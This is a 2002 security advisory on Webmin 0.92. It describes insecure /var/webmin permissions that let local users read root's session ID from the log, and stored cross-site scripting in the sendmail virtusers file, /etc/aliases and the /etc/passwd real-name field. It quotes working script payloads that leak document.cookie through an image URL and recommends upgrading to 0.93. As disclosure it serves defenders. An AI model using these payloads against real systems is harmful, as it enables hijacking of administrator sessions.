Local privalege escalation issues with Webmin 0.92

Type securityvulns
Reporter Securityvulns
Modified 2002-03-21T00:00:00


18-02-02 -- advisory@prophecy.net.nz

About Webmin:

"Webmin is a web-based interface for system administration for Unix. Using any browser that supports tables and forms (and Java for the File Manager module), you can setup user accounts, Apache, DNS, file sharing and so on."

Problem #1:

Version 0.92-1 of Webmin (when installed by rpm) leaves insecure permissions on the /var/webmin directory. This means that if command logging within webmin is enabled, any local user can read the /var/webmin/webmin.log file and retrieve the root users sid (cookie session id). It is trivial to then create a faked local cookie using this session-id, and log directly into webmin as root.

Problem #2:

If a semi-trusted colleague is given a restricted level of access to some Webmin functions, specifically sendmail, then malicious code can be inserted into certain files that would result in revealing roots webmin sid (cookie session id) when the root user visits the related page in webmin.

Example Exploit:

Insert the following line into the virtusers file, and wait for the root user to visit that page: </tt></a></td><tt><td><script>/ /document.write('<img src="'+document.cookie+'">');</script>

Or the following into the /etc/aliases file: </a></td><td><tt><script>zz=unescape("%20");document.write('<img'/: /+zz+'src="'+document.cookie+'">');</script>

Potentially more likely to be exploited however, would be a malicious local user who has no access to webmin, who could change a file that webmin views through the HTML interface (where the code being read in is not checked for HTML). An example would be changing their 'real name' in /etc/passwd to be something along the lines of: <script>zz=unescape("%3A");document.write('<img src="http'+zz+'//'+document.cookie+'">');</script> (Although chfn doesn't let you specify a username this long, but you get the idea.)

This same problem exists in pretty much most parts of webmin, where files (or command output like 'ps') is read in and displayed in the web interface.


Upgrade to the latest version of Webmin (0.93), which fixes these issues (as well as a couple of others apparently). Available from: http://www.webmin.com/download.html

Thanks to:

Harry Metcalfe <harrym@the-group.org> - for giving me the original idea about ways to steal cookies from webpages. Jamie Cameron <jcameron@webmin.com> - for listening to me and making an effort to keep in touch as he fixed the problem(s).